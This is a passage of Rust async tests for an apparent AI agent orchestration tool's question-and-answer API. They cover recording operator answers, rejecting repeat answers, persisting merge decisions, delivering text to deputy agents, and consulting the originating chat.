13568                    Ok(Json(
13569                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13570                            .unwrap(),
13571                    )),
13572                )
13573            };
13574            let _ = answer(choice).await.unwrap();
13575            assert_eq!(
13576                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13577                Some(choice)
13578            );
13579        }
13580    }
13581
13582    #[tokio::test]
13583    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13584        let home = TempDir::new().unwrap();
13585        let ui = Arc::new(Ui::new(
13586            Queue::at(home.path().join("queue")),
13587            Questions::at(home.path().join("questions")),
13588            Talks::at(home.path().join("talks")),
13589            home.path().join("runs"),
13590            home.path().to_owned(),
13591            home.path().to_owned(),
13592        ));
13593        let mut q = Question::new(
13594            "run".into(),
13595            crate::github_text::ASK_NODE.into(),
13596            "posting-gate".into(),
13597            "Post?".into(),
13598            String::new(),
13599            vec!["use fallback".into()],
13600        );
13601        q.routed_task = Some("task".into());
13602        ui.questions.put(&mut q).unwrap();
13603        let sent = question_answer(
13604            State(ui.clone()),
13605            Path(q.id.clone()),
13606            Ok(Json(
13607                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13608                    .unwrap(),
13609            )),
13610        )
13611        .await;
13612        let _ = sent.unwrap();
13613        assert_eq!(
13614            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13615            Some("use fallback")
13616        );
13617    }
13618
13619    #[tokio::test]
13620    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13621        let fx = Fixture {
13622            home: TempDir::new().unwrap(),
13623            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13624        };
13625        for choice in [
13626            crate::land::HOLD,
13627            crate::land::REPAIR,
13628            crate::land::APPROVE,
13629            crate::merge_decision::WITHDRAW,
13630            "reimplement:beta",
13631        ] {
13632            let mut q = Question::new(
13633                "old-run".into(),
13634                crate::land::APPROVAL_NODE.into(),
13635                "land".into(),
13636                "Decision".into(),
13637                "Review findings".into(),
13638                vec![
13639                    "merge".into(),
13640                    "hold".into(),
13641                    crate::land::REPAIR.into(),
13642                    crate::merge_decision::WITHDRAW.into(),
13643                    "reimplement:beta".into(),
13644                ],
13645            );
13646            q.merge_target = Some(crate::merge_decision::Target {
13647                pr: "https://github.com/example/repo/pull/42".into(),
13648                head: "exact-reviewed-head".into(),
13649                language: "ja".into(),
13650            });
13651            q.consult = Some(ask::ChatConsult {
13652                talk: "another-conversation".into(),
13653                at: jiff::Timestamp::now(),
13654            });
13655            fx.questions().put(&mut q).unwrap();
13656            let ui = Arc::new(Ui::new(
13657                fx.queue(),
13658                fx.questions(),
13659                fx.talks(),
13660                fx.runs(),
13661                fx.home.path().into(),
13662                std::path::PathBuf::from("."),
13663            ));
13664            let response = question_answer(
13665                State(ui.clone()),
13666                Path(q.id.clone()),
13667                Ok(Json(NewAnswer {
13668                    choice: Some(choice.into()),
13669                    text: None,
13670                    ..Default::default()
13671                })),
13672            )
13673            .await
13674            .unwrap();
13675            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13676            let disk = fx.questions().get(&q.id).unwrap();
13677            assert_eq!(disk.merge_target, q.merge_target);
13678            assert_eq!(disk.consult, q.consult);
13679            assert_eq!(disk.resolution().as_deref(), Some(choice));
13680            assert!(
13681                question_answer(
13682                    State(ui),
13683                    Path(q.id.clone()),
13684                    Ok(Json(NewAnswer {
13685                        choice: Some("merge".into()),
13686                        text: None,
13687                        ..Default::default()
13688                    }))
13689                )
13690                .await
13691                .is_err(),
13692                "an already settled decision cannot turn into merge approval"
13693            );
13694        }
13695    }
13696
13697    #[tokio::test]
13698    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13699        let fx = Fixture {
13700            home: TempDir::new().unwrap(),
13701            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13702        };
13703        let mut state = crate::land::tests::repair_state(true, true);
13704        state.status = RunStatus::Landing;
13705        state.parked = true;
13706        state.driver_exited = true;
13707        let mut task = Task::new(
13708            "Existing PR owner".into(),
13709            state.instruction.clone(),
13710            state.repo.clone(),
13711            Source::Human,
13712        );
13713        task.runs.push(state.id.clone());
13714        task.status = TaskStatus::Parked;
13715        fx.queue().put(&mut task).unwrap();
13716        let mut q = Question::new(
13717            state.id.clone(),
13718            crate::land::APPROVAL_NODE.into(),
13719            "land".into(),
13720            "Contested merge".into(),
13721            "Original evidence".into(),
13722            vec!["merge".into(), "hold".into()],
13723        );
13724        state.land_approval = Some(crate::run::LandApproval {
13725            question: q.id.clone(),
13726            head: "reviewed-head".into(),
13727        });
13728        state.save_under(fx.home.path()).unwrap();
13729        fx.questions().put(&mut q).unwrap();
13730        // A later repair answer on this old card supersedes this manual hold.
13731        task.hold_manual(Some("Pause this PR".into()));
13732        fx.queue().put(&mut task).unwrap();
13733        // POST directly, without a preceding GET: validation must see the
13734        // same durable upgrade that the card, CLI and chat see.
13735        let ui = Arc::new(Ui::new(
13736            fx.queue(),
13737            fx.questions(),
13738            fx.talks(),
13739            fx.runs(),
13740            fx.home.path().to_path_buf(),
13741            state.repo.clone(),
13742        ));
13743        let response = question_answer(
13744            State(ui),
13745            Path(q.id.clone()),
13746            Ok(Json(NewAnswer {
13747                choice: Some(crate::land::REPAIR.into()),
13748                text: None,
13749                ..Default::default()
13750            })),
13751        )
13752        .await
13753        .unwrap();
13754        assert_eq!(response.0.question.id, q.id);
13755        let upgraded = fx.questions().get(&q.id).unwrap();
13756        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13757        assert!(upgraded.detail.starts_with("Original evidence"));
13758        let claim = fx.queue().claim(&task.id).unwrap();
13759        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13760        assert!(
13761            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13762            "an existing driver keeps its claim"
13763        );
13764        drop(claim);
13765        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13766        let resumed = fx.queue().get(&task.id).unwrap();
13767        assert_eq!(
13768            resumed
13769                .resume_override
13770                .as_ref()
13771                .unwrap()
13772                .pinned_run
13773                .as_deref(),
13774            Some(state.id.as_str())
13775        );
13776        assert!(resumed.status.runnable());
13777        assert_eq!(resumed.instruction, task.instruction);
13778        assert_eq!(resumed.runs, task.runs);
13779        assert!(resumed.action_applied(&q.id));
13780        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13781        assert_eq!(fx.queue().list().len(), 1);
13782        assert_eq!(
13783            fx.queue().get(&task.id).unwrap().resume_override,
13784            resumed.resume_override
13785        );
13786        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13787        assert!(
13788            disk.merge_repairs.is_empty(),
13789            "only the claimed run driver may execute repair"
13790        );
13791        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13792    }
13793
13794    #[tokio::test]
13795    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13796        let fx = Fixture::start().await;
13797        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13798        let path = format!("/api/questions/{id}/answer");
13799
13800        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13801        assert_eq!(res.status, 200, "{}", res.body);
13802        let body = res.json();
13803        assert_eq!(body["status"], "answered");
13804        assert_eq!(body["answer"]["choice"], "Redis");
13805
13806        // Answered from the terminal in between the list and the tap: the UI
13807        // must be able to tell this from a bad request, so it can show the
13808        // recorded answer instead of an error.
13809        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13810        assert_eq!(again.status, 409, "{}", again.body);
13811        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13812    }
13813
13814    #[tokio::test]
13815    async fn fresh_api_answers_survive_task_inquiry_migration() {
13816        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13817        for migrate_first in [false, true] {
13818            let fx = Fixture::start().await;
13819            let mut task = Task::new(
13820                "work".into(),
13821                "work".into(),
13822                PathBuf::from("/repo/magi"),
13823                Source::Human,
13824            );
13825            task.runs.push("run-a".into());
13826            fx.queue().put(&mut task).unwrap();
13827            let mut q = Question::new(
13828                "run-a".into(),
13829                "implement".into(),
13830                "impl-A".into(),
13831                "Keep held?".into(),
13832                String::new(),
13833                vec!["hold".into()],
13834            );
13835            q.actions.insert("hold".into(), ChoiceAction::Hold);
13836            fx.questions().put(&mut q).unwrap();
13837            if migrate_first {
13838                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13839            }
13840            let response = fx
13841                .post(
13842                    &format!("/api/questions/{}/answer", q.id),
13843                    Some(r#"{"choice":"hold"}"#),
13844                )
13845                .await;
13846            assert_eq!(response.status, 200, "{}", response.body);
13847            for _ in 0..2 {
13848                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13849                let source = fx.questions().get(&q.id).unwrap();
13850                assert_eq!(source.resolution().as_deref(), Some("hold"));
13851                let decision = Outbox::at(fx.home.path())
13852                    .get(&q.id)
13853                    .unwrap()
13854                    .decision
13855                    .unwrap();
13856                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13857                assert_eq!(decision.source_answer_at, source.answered_at);
13858                assert_eq!(decision.status, Status::Queued);
13859            }
13860            assert_eq!(
13861                fx.post(
13862                    &format!("/api/questions/{}/answer", q.id),
13863                    Some(r#"{"choice":"hold"}"#)
13864                )
13865                .await
13866                .status,
13867                409
13868            );
13869        }
13870    }
13871
13872    #[tokio::test]
13873    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13874        let home = tempfile::tempdir().unwrap();
13875        let ui = delta_test_ui(home.path());
13876        let mut q = Question::new(
13877            "task".into(),
13878            crate::land::APPROVAL_NODE.into(),
13879            "land".into(),
13880            "Explain?".into(),
13881            String::new(),
13882            vec!["hold".into()],
13883        );
13884        q.deputy = Some(ask::Deputy::new("context".into()));
13885        ui.questions.put(&mut q).unwrap();
13886        let mut cfg = stub_config();
13887        cfg.daemon.max_deputies = 0;
13888        let mut status = crate::daemon::Status::new();
13889        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13890        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13891        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13892        let error = question_say(
13893            State(ui.clone()),
13894            Path(q.id.clone()),
13895            Ok(Json(NewSay {
13896                body: "Explain the findings".into(),
13897            })),
13898        )
13899        .await
13900        .unwrap_err();
13901        assert_eq!(
13902            error.text_reason,
13903            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13904        );
13905        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13906
13907        let mut text = Question::new(
13908            "task".into(),
13909            "ask".into(),
13910            "operator".into(),
13911            "Which name?".into(),
13912            String::new(),
13913            vec![],
13914        );
13915        ui.questions.put(&mut text).unwrap();
13916        let Json(view) = question_answer(
13917            State(ui.clone()),
13918            Path(text.id.clone()),
13919            Ok(Json(NewAnswer {
13920                choice: None,
13921                text: Some("chosen name".into()),
13922                ..Default::default()
13923            })),
13924        )
13925        .await
13926        .unwrap();
13927        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13928        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13929    }
13930
13931    #[tokio::test]
13932    async fn question_text_handler_admission_without_transport() {
13933        let home = tempfile::tempdir().unwrap();
13934        let ui = delta_test_ui(home.path());
13935        let mut q = Question::new(
13936            "task".into(),
13937            crate::land::APPROVAL_NODE.into(),
13938            "land".into(),
13939            "May this PR merge?".into(),
13940            String::new(),
13941            vec!["hold".into()],
13942        );
13943        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13944        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13945        ui.questions.put(&mut q).unwrap();
13946        let say = || {
13947            Ok(Json(NewSay {
13948                body: "Explain the findings".into(),
13949            }))
13950        };
13951        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13952            .await
13953            .unwrap_err();
13954        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13955        let response = rejected.into_response();
13956        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13957            .await
13958            .unwrap();
13959        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13960        assert_eq!(body["code"], "question_text_unavailable");
13961        assert_eq!(body["reason"], "deputy_exhausted");
13962        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13963        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13964        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13965        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13966            .await
13967            .unwrap();
13968        assert_eq!(view.text_delivery.state, "live");
13969        assert!(view.question.waiter.is_none());
13970        assert!(view.question.cwd.is_none());
13971        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13972        ui.questions.drop_lease(&q.id);
13973        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13974            .await
13975            .unwrap_err();
13976        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13977        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13978        let _ = question_answer(
13979            State(ui.clone()),
13980            Path(q.id.clone()),
13981            Ok(Json(NewAnswer {
13982                choice: Some("hold".into()),
13983                text: None,
13984                ..Default::default()
13985            })),
13986        )
13987        .await
13988        .unwrap();
13989        assert_eq!(
13990            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13991            Some("hold")
13992        );
13993    }
13994
13995    #[tokio::test]
13996    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13997        let fx = Fixture::start().await;
13998        let store = fx.questions();
13999        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
14000        store
14001            .update(&id, |q| {
14002                q.node = crate::land::APPROVAL_NODE.to_owned();
14003                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
14004                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
14005                Ok(())
14006            })
14007            .unwrap();
14008        let path = format!("/api/questions/{id}/say");
14009        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
14010        assert_eq!(refused.status, 422, "{}", refused.body);
14011        assert!(
14012            refused.json()["error"]
14013                .as_str()
14014                .unwrap()
14015                .contains("deputy_exhausted")
14016        );
14017        assert!(store.get(&id).unwrap().thread.is_empty());
14018
14019        // A final live deputy is usable even with no ordinary waiter/cwd.
14020        store.beat(&id, ask::WaiterKind::Deputy);
14021        let view = fx.get("/api/questions").await.json();
14022        assert_eq!(view[0]["text_delivery"]["state"], "live");
14023        let accepted = fx
14024            .post(&path, Some(r#"{"body":"explain the findings"}"#))
14025            .await;
14026        assert_eq!(accepted.status, 200, "{}", accepted.body);
14027        let before = std::fs::read(store.path_of(&id)).unwrap();
14028
14029        // The recipient exits between rendering and sending. Rejection must
14030        // preserve previously accepted text, the answer and delivery cursor.
14031        store.drop_lease(&id);
14032        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
14033        assert_eq!(refused.status, 422, "{}", refused.body);
14034        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14035        let held = fx
14036            .post(
14037                &format!("/api/questions/{id}/answer"),
14038                Some(r#"{"choice":"hold"}"#),
14039            )
14040            .await;
14041        assert_eq!(held.status, 200, "{}", held.body);
14042        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
14043    }
14044
14045    #[tokio::test]
14046    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
14047        let repo = tempfile::tempdir().unwrap();
14048        let mut cfg = stub_config();
14049        cfg.daemon.max_deputies = 0;
14050        std::fs::write(
14051            repo.path().join("magi.toml"),
14052            toml::to_string(&cfg).unwrap(),
14053        )
14054        .unwrap();
14055        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14056        let mut status = crate::daemon::Status::new();
14057        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
14058        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
14059        let id = ask(&fx, "Explain?", &["hold"]);
14060        fx.questions()
14061            .update(&id, |q| {
14062                q.node = crate::land::APPROVAL_NODE.into();
14063                q.deputy = Some(ask::Deputy::new("context".into()));
14064                q.deputy.as_mut().unwrap().agent = "stub".into();
14065                Ok(())
14066            })
14067            .unwrap();
14068        cfg.daemon.max_deputies = 1;
14069        std::fs::write(
14070            repo.path().join("magi.toml"),
14071            toml::to_string(&cfg).unwrap(),
14072        )
14073        .unwrap();
14074        let view = fx.get("/api/questions").await.json();
14075        assert_eq!(view[0]["deputies_enabled"], true);
14076        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
14077        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
14078        let res = fx
14079            .post(
14080                &format!("/api/questions/{id}/say"),
14081                Some(r#"{"body":"Please explain"}"#),
14082            )
14083            .await;
14084        assert_eq!(res.status, 422, "{}", res.body);
14085        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
14086    }
14087
14088    #[tokio::test]
14089    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
14090        let fx = Fixture::start().await;
14091        let id = ask(&fx, "No seat", &[]);
14092        let store = fx.questions();
14093        let before = std::fs::read(store.path_of(&id)).unwrap();
14094        let res = fx
14095            .post(
14096                &format!("/api/questions/{id}/say"),
14097                Some(r#"{"body":"hello"}"#),
14098            )
14099            .await;
14100        assert_eq!(res.status, 422, "{}", res.body);
14101        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14102        let res = fx
14103            .post(
14104                &format!("/api/questions/{id}/answer"),
14105                Some(r#"{"text":"hello"}"#),
14106            )
14107            .await;
14108        assert_eq!(res.status, 200, "{}", res.body);
14109        assert_eq!(
14110            store.get(&id).unwrap().resolution().as_deref(),
14111            Some("hello")
14112        );
14113    }
14114
14115    #[tokio::test]
14116    async fn saying_something_appends_a_turn_without_answering() {
14117        let fx = Fixture::start().await;
14118        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14119        fx.questions().beat(&id, ask::WaiterKind::Asker);
14120        let path = format!("/api/questions/{id}/say");
14121
14122        let res = fx
14123            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14124            .await;
14125        assert_eq!(res.status, 200, "{}", res.body);
14126        let body = res.json();
14127        assert_eq!(body["status"], "open", "talking back is not a decision");
14128        assert_eq!(body["answer"], Value::Null);
14129        assert_eq!(body["thread"][0]["who"], "operator");
14130        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14131        assert_eq!(body["waiting_on_agent"], true);
14132        // Still open, still counted, still exactly one question.
14133        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14134    }
14135
14136    #[tokio::test]
14137    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14138        let fx = Fixture::start().await;
14139        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14140
14141        let list = fx.get("/api/questions").await.json();
14142        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14143
14144        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14145        assert_eq!(res.status, 409, "{}", res.body);
14146        let q = fx.questions().get(&id).unwrap();
14147        assert!(q.status.open());
14148        assert!(q.consult.is_none());
14149    }
14150
14151    #[tokio::test]
14152    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14153        let fx = Fixture::start().await;
14154        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14155        let cfg = Config {
14156            agents: vec![crate::config::AgentSpec {
14157                id: "mock".to_owned(),
14158                kind: crate::config::AgentKind::Command,
14159                model: None,
14160                command: vec!["true".to_owned()],
14161                extra_args: Vec::new(),
14162                env: Default::default(),
14163                prompt_delivery: None,
14164                max_turn_secs: None,
14165            }],
14166            ..Config::default()
14167        };
14168        let talk = crate::talk::begin(
14169            &fx.talks(),
14170            &cfg,
14171            fx.home.path().to_path_buf(),
14172            Some("mock"),
14173        )
14174        .unwrap();
14175        let mut task = Task::new(
14176            "t".to_owned(),
14177            "Do it".to_owned(),
14178            PathBuf::from("/repo/magi"),
14179            Source::Agent {
14180                run: talk.id.clone(),
14181                node: crate::queue::CHAT_NODE.to_owned(),
14182            },
14183        );
14184        task.start("20260902-000000-beef".to_owned());
14185        fx.queue().put(&mut task).unwrap();
14186
14187        let list = fx.get("/api/questions").await.json();
14188        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14189        assert_eq!(
14190            list[0]["choices"],
14191            serde_json::json!(["SQLite", "Redis"]),
14192            "the hand-over is never a choice"
14193        );
14194        fx.questions()
14195            .update(&id, |q| {
14196                q.node = crate::land::APPROVAL_NODE.into();
14197                q.choices = vec!["merge".into(), "hold".into()];
14198                Ok(())
14199            })
14200            .unwrap();
14201        let list = fx.get("/api/questions").await.json();
14202        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14203        assert_eq!(list[0]["can_consult_chat"], true);
14204        fx.questions()
14205            .update(&id, |q| {
14206                q.node = crate::bump::NOTICE_NODE.into();
14207                Ok(())
14208            })
14209            .unwrap();
14210        let list = fx.get("/api/questions").await.json();
14211        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14212        assert_eq!(list[0]["can_consult_chat"], false);
14213    }
14214
14215    #[tokio::test]
14216    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14217        let fx = Fixture::start().await;
14218        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14219        fx.questions()
14220            .update(&id, |q| {
14221                q.node = crate::land::APPROVAL_NODE.into();
14222                q.choices = vec!["merge".into(), "hold".into()];
14223                Ok(())
14224            })
14225            .unwrap();
14226        let cfg = Config {
14227            agents: vec![crate::config::AgentSpec {
14228                id: "mock".to_owned(),
14229                kind: crate::config::AgentKind::Command,
14230                model: None,
14231                command: vec!["true".to_owned()],
14232                extra_args: Vec::new(),
14233                env: Default::default(),
14234                prompt_delivery: None,
14235                max_turn_secs: None,
14236            }],
14237            ..Config::default()
14238        };
14239        // Not a git working tree, so its `magi.toml` is read from disk.
14240        let repo = fx.home.path().join("chat-repo");
14241        std::fs::create_dir_all(&repo).unwrap();
14242        let toml = repo.join("magi.toml");
14243        std::fs::write(&toml, "this is = = not toml").unwrap();
14244        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14245        let mut task = Task::new(
14246            "t".to_owned(),
14247            "Do it".to_owned(),
14248            PathBuf::from("/repo/magi"),
14249            Source::Agent {
14250                run: talk.id.clone(),
14251                node: crate::queue::CHAT_NODE.to_owned(),
14252            },
14253        );
14254        task.start("20260902-000000-beef".to_owned());
14255        fx.queue().put(&mut task).unwrap();
14256
14257        let path = format!("/api/questions/{id}/consult");
14258        let res = fx.post(&path, None).await;
14259        assert!(res.status >= 400, "{}", res.body);
14260        assert!(fx.questions().get(&id).unwrap().consult.is_none());
14261        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14262
14263        std::fs::write(&toml, "").unwrap();
14264        let res = fx.post(&path, None).await;
14265        assert_eq!(res.status, 202, "{}", res.body);
14266        assert!(fx.questions().get(&id).unwrap().consult.is_some());
14267        let q = fx.questions().get(&id).unwrap();
14268        assert!(q.status.open());
14269        assert!(q.answer.is_none());
14270        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14271        assert_eq!(res.json()["can_consult_chat"], true);
14272        let list = fx.get("/api/questions").await.json();
14273        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14274        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14275
14276        let res = fx
14277            .post(
14278                &format!("/api/questions/{id}/answer"),
14279                Some(r#"{"choice":"hold"}"#),
14280            )
14281            .await;
14282        assert_eq!(res.status, 200, "{}", res.body);
14283        assert_eq!(res.json()["answer"]["choice"], "hold");
14284        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14285        assert_eq!(res.json()["can_consult_chat"], false);
14286        assert_eq!(fx.post(&path, None).await.status, 409);
14287
14288        let mut talk = fx.talks().get(&talk.id).unwrap();
14289        // This test closes the history view, not an unconsumed consultation.
14290        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14291        crate::talk::close(&mut talk, &fx.talks()).unwrap();
14292        let list = fx.get("/api/questions").await.json();
14293        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14294        assert_eq!(list[0]["origin_chat_closed"], true);
14295        assert_eq!(list[0]["can_consult_chat"], false);
14296
14297        fx.talks().remove(&talk.id).unwrap();
14298        let list = fx.get("/api/questions").await.json();
14299        assert_eq!(list[0]["origin_chat"], Value::Null);
14300        assert_eq!(list[0]["origin_chat_closed"], false);
14301        assert_eq!(list[0]["can_consult_chat"], false);
14302    }
14303
14304    #[tokio::test]
14305    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14306        let fx = Fixture::start().await;
14307        let store = fx.questions();
14308        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14309        store.beat(&id, ask::WaiterKind::Asker);
14310        assert_eq!(
14311            fx.get("/api/health").await.json()["questions_needs_owner"],
14312            1
14313        );
14314
14315        // The owner asks back instead of deciding: the ask bar, the nav badge
14316        // and the title must stop naming this question, because there is
14317        // nothing to decide until the agent answers - `status` alone cannot
14318        // say that, which is the whole reason `questions_needs_owner` exists
14319        // alongside `questions_open`.
14320        let res = fx
14321            .post(
14322                &format!("/api/questions/{id}/say"),
14323                Some(r#"{"body":"why not Postgres?"}"#),
14324            )
14325            .await;
14326        assert_eq!(res.status, 200, "{}", res.body);
14327        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14328        assert_eq!(
14329            fx.get("/api/health").await.json()["questions_needs_owner"],
14330            0,
14331            "waiting on the agent is not waiting on the owner"
14332        );
14333
14334        // `magi ask --thread` replying is what brings the owner count back -
14335        // the same event that would resume the CLI call blocked in `magi
14336        // ask`.
14337        let mut q = store.get(&id).expect("get");
14338        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14339            .expect("reply");
14340        store.put(&mut q).expect("put");
14341        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14342        assert_eq!(
14343            fx.get("/api/health").await.json()["questions_needs_owner"],
14344            1,
14345            "the agent's reply is what should light the banner back up"
14346        );
14347    }
14348
14349    #[tokio::test]
14350    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14351        let fx = Fixture::start().await;
14352        let store = fx.questions();
14353
14354        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14355        let res = fx
14356            .post(
14357                &format!("/api/questions/{empty_id}/say"),
14358                Some(r#"{"body":"   "}"#),
14359            )
14360            .await;
14361        assert_eq!(res.status, 400, "{}", res.body);
14362
14363        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14364        let mut answered = store.get(&answered_id).expect("get");
14365        answered
14366            .answer(Answer::Choice("SQLite".to_owned()))
14367            .expect("answer");
14368        store.put(&mut answered).expect("put");
14369        let res = fx
14370            .post(
14371                &format!("/api/questions/{answered_id}/say"),
14372                Some(r#"{"body":"still there?"}"#),
14373            )
14374            .await;
14375        assert_eq!(res.status, 409, "{}", res.body);
14376
14377        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14378        let mut abandoned = store.get(&abandoned_id).expect("get");
14379        abandoned.abandon("timed out");
14380        store.put(&mut abandoned).expect("put");
14381        let res = fx
14382            .post(
14383                &format!("/api/questions/{abandoned_id}/say"),
14384                Some(r#"{"body":"still there?"}"#),
14385            )
14386            .await;
14387        assert_eq!(res.status, 409, "{}", res.body);
14388    }
14389
14390    #[tokio::test]
14391    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14392        let fx = Fixture::start().await;
14393        let questions = fx.questions();
14394        let mut q = Question::new(
14395            String::new(),
14396            crate::bump::NOTICE_NODE.into(),
14397            "release-watch".into(),
14398            "Release PR approval".into(),
14399            "Saved head".into(),
14400            vec!["merge".into(), "hold".into()],
14401        );
14402        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14403        q.merge_target = Some(crate::merge_decision::Target {
14404            pr: "https://example.test/mebae/pull/100".into(),
14405            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14406            language: "en".into(),
14407        });
14408        q.answer(Answer::Choice("merge".into())).unwrap();
14409        q.answer_delivered = true;
14410        questions.put(&mut q).unwrap();
14411        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14412        std::fs::create_dir_all(&dir).unwrap();
14413        std::fs::write(
14414            dir.join("state.json"),
14415            serde_json::to_vec(&serde_json::json!({
14416                "schema": 1, "sources": [q.id], "pending": [q.id]
14417            }))
14418            .unwrap(),
14419        )
14420        .unwrap();
14421        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14422        for migrated in [false, true] {
14423            if migrated {
14424                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14425            }
14426            for endpoint in ["/api/questions", "/api/questions/core"] {
14427                let response = fx.get(endpoint).await;
14428                assert_eq!(response.status, 200);
14429                let rows = response.json();
14430                let row = rows
14431                    .as_array()
14432                    .unwrap()
14433                    .iter()
14434                    .find(|r| r["id"] == q.id)
14435                    .unwrap();
14436                assert_eq!(row["status"], "answered");
14437                assert_eq!(row["answer"]["choice"], "merge");
14438                assert_eq!(row["can_answer"], false);
14439                assert_eq!(row["history_only"], true);
14440            }
14441            let answer = fx
14442                .post(
14443                    &format!("/api/questions/{}/answer", q.id),
14444                    Some(r#"{"choice":"merge"}"#),
14445                )
14446                .await;
